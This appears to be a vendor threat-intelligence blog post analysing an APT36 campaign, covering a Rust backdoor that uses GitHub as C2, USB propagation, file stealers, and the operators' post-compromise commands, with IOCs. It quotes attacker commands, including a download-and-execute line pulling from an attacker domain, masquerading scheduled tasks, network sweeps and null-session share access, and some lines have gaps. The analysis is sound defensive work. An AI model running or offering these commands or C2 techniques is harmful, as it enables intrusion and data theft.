In August 2026, Zscaler ThreatLabz observed new activity by the Pakistan-nexus threat actor APT36 in a campaign we’re tracking as Operation RapidRust . Since our last publication the group’s activity in January 2026, APT36 has maintained a high operational tempo and updated their tactics, techniques, and procedures (TTPs) in continued attacks targeting government and defense organizations in India and Afghanistan. During our investigation, ThreatLabz discovered new malware families and post-compromise tools, as well as significant post-compromise activity. The new tools include the RUSTYSHADE backdoor, the RUSTYMOVE post-compromise tool, and the PSNATCH and BASHNATCH file-stealing tools.
In this blog post, we provide a detailed technical analysis of APT36’s new tooling and post-compromise activity.
In August 2026, ThreatLabz observed new activity by the Pakistan-nexus threat actor APT36 targeting government and defense entities in India and Afghanistan.
RUSTYSHADE is a new Rust-based backdoor that abuses attacker-controlled private GitHub repositories for command-and-control (C2) and uses AES-256-GCM to encrypt C2 communications.
RUSTYMOVE is a new post-compromise tool used by APT36 to copy pre-staged malicious files to external removable media connected to infected machines, enabling the malware to spread to air-gapped networks.
APT36 registered multiple typosquatted domains that impersonate popular Indian news outlets to stage malicious PowerShell scripts and payloads.
PSNATCH is a new PowerShell-based file-stealing tool that scans a pre-configured list of directories and exfiltrates files matching a pre-configured list of extensions to the threat actor's private GitHub repositories.
BASHNATCH is a bash script similar to PSNATCH that targets Linux environments.
APT36 attempted lateral movement by identifying active machines on the local network and mapping network shares.
In the following sections, ThreatLabz provides a technical analysis of the campaign, including its new malware tooling and post-compromise activity.
RUSTYSHADE is a new 64-bit Windows backdoor written in Rust that abuses attacker-controlled private GitHub repositories for C2 communication. Some of its functionality is similar to GITSHELLPAD, which we observed in the GOGITTER campaign . However, notable differences include support for encrypted C2 communication, new C2 commands, and the use of Rust instead of Golang.
During post-compromise activity, APT36 deployed RUSTYSHADE on compromised systems using the following command:
RUSTYSHADE uses the GitHub REST API as its C2 channel. A GitHub personal access token (PAT) is hardcoded in cleartext within the binary and is used to authenticate and interact with the threat actor's private GitHub repository through the REST API with the following information:
All messages exchanged between RUSTYSHADE and the GitHub repositories are encrypted using AES-256-GCM.
RUSTYSHADE encrypts C2 messages as follows:
Derives a 32-byte AES key from the SHA256 hash of the GitHub PAT.
Generates a random 12-byte nonce using BCryptGenRandom .
Uses AES-256-GCM to encrypt plaintext resulting in a ciphertext and a 16-byte authentication tag. This 16-byte authentication tag is used by AES-256-GCM for integrity verification.
Formats the encrypted data as: nonce[12] || ciphertext || tag[16] . The 12-byte nonce serves as the prefix, while the final 16 bytes contain the authentication tag.
Base64-encodes the formatted message listed above.
Prepends the HCENC1: prefix to the Base64-encoded data.
The resulting message has the following format:
To decrypt the message, RUSTYSHADE removes the HCENC1 prefix, Base64-decodes the remaining data, and decrypts it using AES-256-GCM.
RUSTYSHADE reads and writes specific filenames in the private GitHub repository to synchronize the communication between the infected machines and the C2 server. The filenames are listed in the table below.
Encrypted C2 commands
Encrypted command output
System reconnaissance data
Beacon keepalive containing an epoch timestamp
Encrypted desktop screenshot
Encrypted webcam capture
Encrypted exfiltrated file contents
Table 1: Files used for commands, beacons, and exfiltrated data by RUSTYSHADE.
The threat actor issues commands and receives the resulting output in the GitHub C2 repository as follows.
Threat actor side : The threat actor encrypts the command using the previously described encryption algorithm and commits it to the command.txt file.
Infected machine side : RUSTYSHADE polls the GitHub REST API and retrieves, decrypts, and executes the new command from command.txt . It then encrypts the command output and uploads it to the GitHub repository as results.txt .
Commands use the following format:
A colon ( : ) or space separates the command name from its argument.
The table below lists C2 commands supported by RUSTYSHADE.
Capture a screenshot using native GDI32 APIs, encode it as a PNG file, and upload it as screenshot.png .
Capture a webcam photo using WIA.CommonDialog , save it as a JPEG file, and upload it as webcam_photo.jpg .
Navigate to the parent directory.
Change the working directory to [path] .
Execute a command in the background as a detached process using CreateProcessW.
List the contents of the current working directory.
Enumerate all system drive letters.
Change the working directory using an alternative command format.
Alias for HC_DRIVES (case-insensitive match).
Read the file at [path] , compress it using Compress-Archive, encrypt it, and upload it as download.bin .
Execute the input as a shell command using %SystemRoot%\System32\cmd.exe .
Table 2: C2 commands supported by RUSTYSHADE.
During our analysis of post-compromise activity, ThreatLabz observed the threat actor retrieving a -stage PowerShell-based file stealer from an attacker-controlled GitHub gist. We named this PowerShell script PSNATCH. Its primary purpose is to steal files from infected machines and exfiltrate them to the threat actor's private GitHub repositories.
PSNATCH has the following key capabilities:
Recursively scans preconfigured directories, including Desktop , Downloads , Documents , OneDrive (personal + commercial), and drives ‘D:’ through ‘H:’ . It collects files that meet the following criteria: Have extensions associated with a broad range of file types, including Microsoft Office documents, images, archives, media, executables, scripts, and databases. Were modified within the last 120 days. Collection is limited to 1 GB per file and 5 GB per execution.
Have extensions associated with a broad range of file types, including Microsoft Office documents, images, archives, media, executables, scripts, and databases.
Were modified within the last 120 days. Collection is limited to 1 GB per file and 5 GB per execution.
Authenticates with the threat actor’s private GitHub repository using a hardcoded GitHub PAT.
Creates a private repository named after the infected machine. Each infected machine is assigned its own repository.
Exfiltrates data using the GitHub Contents API.
Specifies SmartUploader as the custom User-Agent in all requests to the GitHub API.
Organizes exfiltrated data into date-stamped folders using the format yyyy-MM-dd/[SourceFolder]/...
Maintains a local tracking file located at %APPDATA%\SmartUploader\uploaded_files.json that maps between file paths and last-modified timestamps. This is done to ensure only new/modified files are uploaded on subsequent runs, enabling incremental exfiltration across repeated executions.
BASHNATCH is the Linux variant of PSNATCH. The threat actor used this Bash script to target Linux environments. It scans the same preconfigured directories and file extensions as the Windows variant. BASHNATCH uses ~/.local/ /SmartUploader/uploaded_files.json to track previously exfiltrated files.
RUSTYMOVE is a lightweight 64-bit Windows USB propagation tool written in Rust. Its sole function is to continuously monitor for external removable media (e.g., USB, SD, MMC, and IEEE 1394 devices) and copy the following two pre-staged malicious files to the root directory of each detected external drive.
C:\Users\Public\Documents\DriverInstaller.zip : Contains the RUSTYSHADE executable described in the section.
C:\Users\Public\Documents\DocScanner-11-Aug-2026-5-37pm.pdf.LNK : ThreatLabz cannot confirm the exact LNK target command, but assess with high-confidence that this LNK executes the RUSTYSHADE executable contained in the DriverInstaller.zip (after it has been extracted).
The binary contains no embedded payloads or encryption capabilities, and does not communicate with network-based C2 infrastructure. RUSTYMOVE functions solely as a lateral movement component. Its limited functionality and reliance on hardcoded paths to pre-staged files suggest that RUSTYMOVE may be in an early stage of development.
During post-compromise activity, APT36 deployed RUSTYMOVE on a compromised machine using the following:
The scheduled task launches RUSTYMOVE when a user logs on. Its name, StandAloneOneDriveUpdater-2626 , is intended to make it appear as a legitimate service.
The following sections summarize RUSTYMOVE’s execution flow.
RUSTYMOVE enters an infinite loop that executes two main functions: external drive discovery and file propagation. The malware pauses for 2 seconds between iterations.
External drive discovery
RUSTYMOVE executes the following embedded PowerShell script using CreateProcessW to enumerate external drives.
The output of the PowerShell script is parsed for strings containing \\?\Volume .
For each valid external drive, RUSTYMOVE converts the drive letter to uppercase and executes the following PowerShell command to retrieve the volume’s UniqueId .
For each detected external drive mount point, RUSTYMOVE performs the following actions:
Uses a HashMap, keyed by the external drive’s volume UniqueId , to track which external drives have already been infected.
Iterates through an array containing the 2 pre-staged malicious files and: Extracts the filename. Constructs the destination path as [DriveLetter]:\[filename] . Checks if the destination already exists on the external removable media. If the file is not present, the malware copies it using CopyFileExW . If the copy succeeds, the malware writes "Copied: [path]" to log.txt .
Extracts the filename.
Constructs the destination path as [DriveLetter]:\[filename] .
Checks if the destination already exists on the external removable media.
If the file is not present, the malware copies it using CopyFileExW .
If the copy succeeds, the malware writes "Copied: [path]" to log.txt .
After processing both source files, RUSTYMOVE logs the following messages to log.txt : If files were copied: "Success [N] user(s)." If no files were copied: "No new files copied (already on drive, missing source, or copy failed)."
If files were copied: "Success [N] user(s)."
If no files were copied: "No new files copied (already on drive, missing source, or copy failed)."
Post-compromise activity
During our investigation, ThreatLabz observed post-compromise activity from APT36 operators, including system, user, and network reconnaissance commands, and the deployment of -stage payloads. Most of the activity took place between August 20, 2026 and September 1, 2026.
ThreatLabz analyzed the timestamps associated with the C2 commands and found that the threat actor issues commands only between 4:00 a.m. and 11:00 a.m. UTC. The figure below shows the distribution of C2 commands by hour of the day.
Figure 1: Distribution of Operation RapidRust C2 commands by hour of the day.
ThreatLabz also analyzed the commands by date. As shown in the figure below, all observed activity occurred on weekdays, with no activity observed during the two weekends included in the analysis period.
Figure 2: Operation RapidRust C2 activity by date.
The table below summarizes RUSTYSHADE C2 commands executed by the threat actor during the observed post-compromise activity.
System Reconnaissance
ipconfig, ipconfig /all whoami, whoami /groups, whoami /priv echo %COMSPEC%, echo %USERPROFILE% hostname, tasklist
Identify the current user, group memberships, privileges, running processes, hostname, network adapter configuration, and command interpreter path on the infected machine.
Network Reconnaissance
arp -a ping -a [IP] nbtstat -A [IP] net view, net view \\[IP] net , net session for /L %i in (1,1,254) do @ping -n 1 -w 300 192.168.1.%i | findstr /i \" bytes TTL\"
1..254 | ForEach-Object { if (Test-Connection \"192.168.1.$_\" -Count 1 -Quiet -TimeoutSeconds 1) { Write-Host \"UP: 192.168.1.$_\" } }
Map the local network by sweeping subnets for live hosts, resolving hostnames via reverse DNS and NetBIOS, and enumerating visible machines and SMB shares.
Invoke-RestMethod | Select-Object lat, lon curl curl
Retrieve the infected machine's external IP address and geographic coordinates (latitude/longitude) using public geolocation APIs.
Register-ScheduledTask -TaskName 'StandAloneOneDriveUpdater-2626' ... -Execute 'Automata-20.exe' -Trigger -AtLogOn schtasks /Create /TN "StandAloneOneDriveUpdater-2626" /SC ONLOGON Register-ScheduledTask -TaskName 'MicrosoftEdgeUpdateTaskUserS-1-5-24-...' ... conhost.exe --headless powershell.exe -EncodedCommand [irm indiatodays[.]org/pv | iex]
Create scheduled tasks that execute payloads at user logon and masquerade as legitimate Microsoft OneDrive and Edge updater tasks.
Persistence Verification
schtasks /Query /TN "StandAloneOneDriveUpdater-2626" /V /FO LIST schtasks /Query /FO LIST /V schtasks /Query /FO TABLE
Verify that the scheduled tasks created were registered successfully by querying them and checking command exit codes.
ping -n 1 [IP], ping -n 1 -w 1000 [IP] for %i in ([list]) do @ping ... | findstr " TTL" powershell -Command "Test-NetConnection [IP] -Port 445" powershell -Command "Test-NetConnection [IP] -Port 135"
Re-check the liveness of previously discovered hosts and probe specific ports (SMB 445 and RPC 135) to identify targets suitable for lateral movement.
net use \\[IP]\IPC$ net use \\[IP]\IPC$ /user:[machine_name]\admin *
Attempt to connect to the IPC$ on a remote host, first using a null session and then using specified administrator credentials.
del yogi.zip, del DriverInstaller.exe, del HealthCheck.exe, del sheets_agent.dll, del t_tracker.json, del a.zip, del hh.zip, del ms.zip ren om.zip DriverInstaller.zip
Delete files associated with previously deployed tooling and rename om.zip to DriverInstaller.zip .
Table 3: Post-compromise commands executed by APT36.
Threat Actor Infrastructure
APT36 used legitimate internet services and threat actor-registered domains to support this campaign.
The threat actor used private GitHub repositories for C2 communications and legitimate cloud storage platforms, including Backblaze, to host post-compromise tools.
The campaign domains were registered under NameCheap and used to host intermediate PowerShell scripts and -stage payloads. As shown in the table below, the domains impersonated popular Indian media organizations.
Table 4: Threat actor-registered domains impersonating Indian media organizations.
This campaign demonstrates that APT36 continues to target government and defense entities in India and Afghanistan while maintaining high operational tempo and evolving TTPs. ThreatLabz identified a new Rust-based backdoor, Windows and Linux file-stealing tools, and a removable-media propagation tool, along with extensive post-compromise activity.
Zscaler’s multilayered cloud security platform detects indicators related to this campaign at various levels.
Win64.Backdoor.RUSTYSHADE
Win64.Spreader.RUSTYMOVE
Indicators Of Compromise (IOCs)
40a75f87f1e52c33df9ca733aaf8ebbb
00aff1a72c5d5635ab36ce2eb370718a7f0557a0
52d07b3ef0c5f27d082551d51027de452682e1fbd5bb38a897ea4b31bd387523
ZIP archive containing RUSTYSHADE
Ae77f1834ccde53258bc27a779102af2
761ccb15af1c3fe6e4365ddf65578966e4c84fc9
80fdde0dafa450ae33937ccef752b46666da567926b2f39b37e02e77f9d6a92e
Aade06ec611d69f1553035f22356ccf4 Ad4afe86a835bb2f7768862d358ebd8324c05902 05bbeea42f481a3dd1b3f670aba481f7c5c8e897ef321d65188317be5a65a4d7
ZIP archive containing RUSTYMOVE
F16f507a8ed515663a4f07050cd97a74 00e1cc0fb1355c196c069791a02b4a5f3b57ae94
70fc6cba3c2021889fb4093d0221dc6925818666df25718a630c562cac18da31
Payload staging domain
Payload staging domain
Payload staging domain
theprints.]org/adrive
theprints[.]org/drivefolder
theprints[.]org/msheets
theprints[.]org/gsheets
hxxps://clients-easy.s3.us-east-005.backblazeb2[.]com/Automata-20.zip
hxxps://f005.backblazeb2[.]com/file/Clients-easy/DriverInstaller.zip
Was this post useful?
Disclaimer: This blog post has been created by Zscaler for informational purposes only and is provided "as is" without any guarantees of accuracy, completeness or reliability. Zscaler assumes no responsibility for any errors or omissions or for any actions taken based on the information provided. Any third-party websites or resources linked in this blog post are provided for convenience only, and Zscaler is not responsible for their content or practices. All content is subject to change without notice. By accessing this blog, you agree to these terms and acknowledge your sole responsibility to verify and use the information as appropriate for your needs.
Get the latest Zscaler blog updates in your inbox
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
